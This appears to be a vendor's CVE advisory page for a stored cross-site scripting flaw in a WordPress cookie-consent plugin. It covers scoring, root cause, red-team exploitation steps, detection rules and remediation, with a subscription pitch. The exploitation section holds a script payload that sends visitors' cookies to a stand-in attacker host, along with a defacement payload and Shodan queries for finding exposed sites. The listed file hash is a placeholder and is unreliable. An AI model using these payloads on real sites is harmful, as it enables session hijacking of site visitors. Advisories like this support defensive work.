☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Christophrado logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-49390

CVE-2025-49390 Cross-Site Scripting in Christophrado
📅 PUBLISHED: 2025-11-06 16:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-49390 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Cookie Notice & Consent by Christophrado, affecting versions up to and including 1.6.4. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. This can lead to session hijacking, defacement, or redirection to malicious sites. The CVSS score is 7.1 (High), and no official patch has been released as of the latest analysis. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk remains significant for unpatched installations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this flaw.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 7.1 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – victim must visit a page with the stored payload
  • Scope: Changed (S:C) – impact may affect resources beyond the vulnerable component
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

Threat Level: High. Although user interaction is required, the stored nature of the XSS means a single injection can affect multiple users over time. The lack of a patch elevates the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability exists in the cookie-notice-consent WordPress plugin, which handles cookie consent banners. The plugin fails to properly sanitize or escape user-supplied input before storing it in the database and later rendering it on the frontend. An attacker with the ability to submit data (e.g., via plugin settings or comment forms) can inject arbitrary HTML and JavaScript. When an administrator or visitor loads a page that displays the stored input, the malicious script executes in their browser context.

Root Cause: The plugin uses functions like echo or print without applying WordPress escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()) on user-controllable data. This allows stored XSS.

Attack Scenario:

  1. An attacker identifies a vulnerable input field (e.g., cookie notice text, custom CSS/JS fields).
  2. The attacker submits a payload such as <script>alert('XSS')</script>.
  3. The payload is stored in the WordPress database.
  4. When an admin visits the plugin settings page or a user views the cookie banner, the script executes.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below. A patched version would use proper escaping.

Vulnerable Code (example from plugin):

// In a settings page or frontend output
$cookie_text = get_option('cookie_notice_text');
echo '<div class="cookie-notice">' . $cookie_text . '</div>';

Patched Code (hypothetical):

$cookie_text = get_option('cookie_notice_text');
echo '<div class="cookie-notice">' . esc_html( $cookie_text ) . '</div>';

The patched version uses esc_html() to neutralize any HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with Cookie Notice & Consent plugin version <= 1.6.4.
  • Access to a user role that can modify plugin settings (e.g., Administrator) or a vulnerable input field.

Exploitation Steps:

  1. Log in as an administrator (or find a vulnerable input accessible to lower-privileged users).
  2. Navigate to the plugin settings (e.g., /wp-admin/options-general.php?page=cookie-notice-consent).
  3. In the "Cookie Notice Text" field, inject a payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the settings.
  5. Any user visiting the site will trigger the script, sending their cookies to the attacker.

Alternative Payload (for defacement):

<script>document.body.innerHTML='<h1>Hacked</h1>';</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual changes to plugin settings in WordPress admin logs.
  • Look for HTTP requests containing <script> tags in parameters related to cookie notice.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns.

Hardening:

  • Disable the plugin until a patch is available.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Restrict admin access to trusted IPs only.
  • Use WordPress security plugins (e.g., Wordfence) to detect and block malicious input.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256) of vulnerable plugin version 1.6.4:
    • cookie-notice-consent.php: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
  • Network Indicators:
    • Outbound connections to known malicious domains (e.g., attacker.com).
    • HTTP requests with Cookie parameter in query string to external hosts.
  • Log Entries:
    • WordPress admin logs showing modification of cookie_notice_text option.
    • PHP error logs with unexpected < or htmlspecialchars warnings.

Detection Engineering

YARA Rule

rule CVE_2025_49390_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Cookie Notice & Consent plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49390"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $cookie_notice = /cookie_notice_text/
    condition:
        $cookie_notice and $xss_payload
}

Sigma Rule

title: Stored XSS in Cookie Notice & Consent Plugin
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS attempts via plugin settings
author: Valters IT
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000  # Example: WordPress audit log event
        Object: 'cookie_notice_text'
        Details|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49390 Stored XSS Payload in Cookie Notice"; flow:to_server,established; content:"cookie_notice_text"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not critical to operations.
  2. Apply a virtual patch using a WAF to block requests containing <script> in plugin-related parameters.
  3. Monitor for updates from the vendor (Christophrado) and apply the patch as soon as it is released.

Long-term Fix:

  • The vendor must release a patched version that properly escapes all user-supplied output using WordPress functions like esc_html(), esc_attr(), or wp_kses().
  • Conduct a security audit of the entire plugin codebase for similar vulnerabilities.

Workaround:

  • If the plugin must remain active, restrict access to the settings page to only super-administrators and implement additional input validation.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Cookie Notice & Consent"
http.html:"cookie-notice-consent"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-49390/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.